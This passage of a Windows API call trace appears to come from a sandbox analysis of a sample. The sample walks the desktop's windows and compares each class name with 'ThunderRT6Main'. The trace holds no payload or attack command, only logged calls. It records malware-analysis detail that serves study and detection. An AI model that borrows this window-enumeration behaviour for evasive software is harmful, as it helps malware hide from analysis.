GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0137.396] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0137.396] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0137.396] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.396] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.396] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.396] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0137.396] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0137.396] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0137.396] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0137.396] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0137.397] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0137.397] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.397] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0137.397] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0137.397] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0137.397] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0137.397] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0137.397] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0137.397] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.397] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0137.397] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0137.397] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0137.397] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0137.397] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0137.397] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0137.397] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0137.397] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0137.397] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0137.397] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0137.397] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.397] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0137.397] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0137.397] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0137.397] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0137.397] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.397] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0137.398] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0137.398] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0137.398] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0137.398] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0137.398] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0137.398] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0137.398] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0137.398] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.398] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0137.398] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0137.398] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0137.398] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0137.398] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0137.398] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0137.398] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.398] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0137.398] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0137.398] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0137.398] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0137.398] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0137.398] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0137.399] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0137.399] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0137.399] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0137.399] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0137.399] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0137.399] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.399] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0137.399] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0137.399] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0137.399] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0137.399] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0137.399] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0137.399] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.399] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0137.399] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0137.399] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0137.399] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0137.399] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0137.399] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0137.399] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.399] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0137.399] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0137.399] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0137.399] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0137.399] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0137.399] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0137.400] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.400] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0137.400] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0137.400] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0137.400] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0137.400] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0137.400] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0137.400] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.400] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0137.400] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0137.400] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0137.400] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0137.400] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0137.400] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0137.400] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.400] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0137.400] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0137.400] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0137.400] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0137.400] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0137.400] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0137.400] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.400] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0137.400] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0137.400] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0137.400] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0137.400] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0137.401] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0137.401] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.401] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0137.401] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0137.401] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0137.401] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0137.401] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0137.401] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0137.401] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.401] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0137.401] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0137.401] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0137.401] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0137.401] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0137.401] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0137.401] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.401] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0137.401] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0137.401] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0137.401] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0137.401] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0137.401] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0137.401] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.401] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0137.401] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0137.401] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0137.401] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0137.401] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0137.402] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0137.402] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.402] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0137.402] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0137.402] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="remove_Thu_Annotation_wnd") returned 25 [0137.402] lstrcmpA (lpString1="remove_Thu_Annotation_wnd", lpString2="ThunderRT6Main") returned -1 [0137.402] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0137.402] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0137.402] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.402] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0 [0137.402] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0137.402] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="pinelaboratoriesreferencedwin") returned 29 [0137.402] lstrcmpA (lpString1="pinelaboratoriesreferencedwin", lpString2="ThunderRT6Main") returned -1 [0137.402] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0137.402] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0137.402] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.402] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0137.402] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0137.402] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Matches_wnd") returned 11 [0137.402] lstrcmpA (lpString1="Matches_wnd", lpString2="ThunderRT6Main") returned -1 [0137.402] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0137.402] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0137.402] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.402] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x744 [0137.402] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0137.402] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0137.402] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0137.403] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0137.403] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0137.403] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.403] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.403] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0137.403] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0137.403] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0137.403] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0137.403] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0137.403] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0137.403] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.403] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.403] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0137.403] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0137.403] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0137.403] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0137.403] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0137.403] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0137.403] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.403] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.403] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0137.403] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0137.403] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0137.403] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0137.403] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0137.403] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0137.403] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0137.403] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0137.403] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0137.403] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0137.403] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0137.404] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0137.404] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0137.404] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0137.404] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0137.404] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0137.404] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0137.404] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0137.404] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0137.404] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0137.404] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0137.404] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0137.404] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.404] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.404] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0137.404] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0137.404] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0137.404] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0137.404] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0137.404] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0137.404] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.404] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.404] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0137.404] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0137.404] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0137.404] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0137.404] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0137.404] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0137.404] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.404] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.404] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0137.404] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0137.405] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0137.405] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0137.405] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0137.405] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0137.405] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.405] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.405] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.405] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0137.405] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0137.405] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0137.405] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.405] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0137.405] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0137.405] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0137.405] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.405] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0137.405] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.405] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.405] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.405] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0137.405] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.405] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.405] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.405] 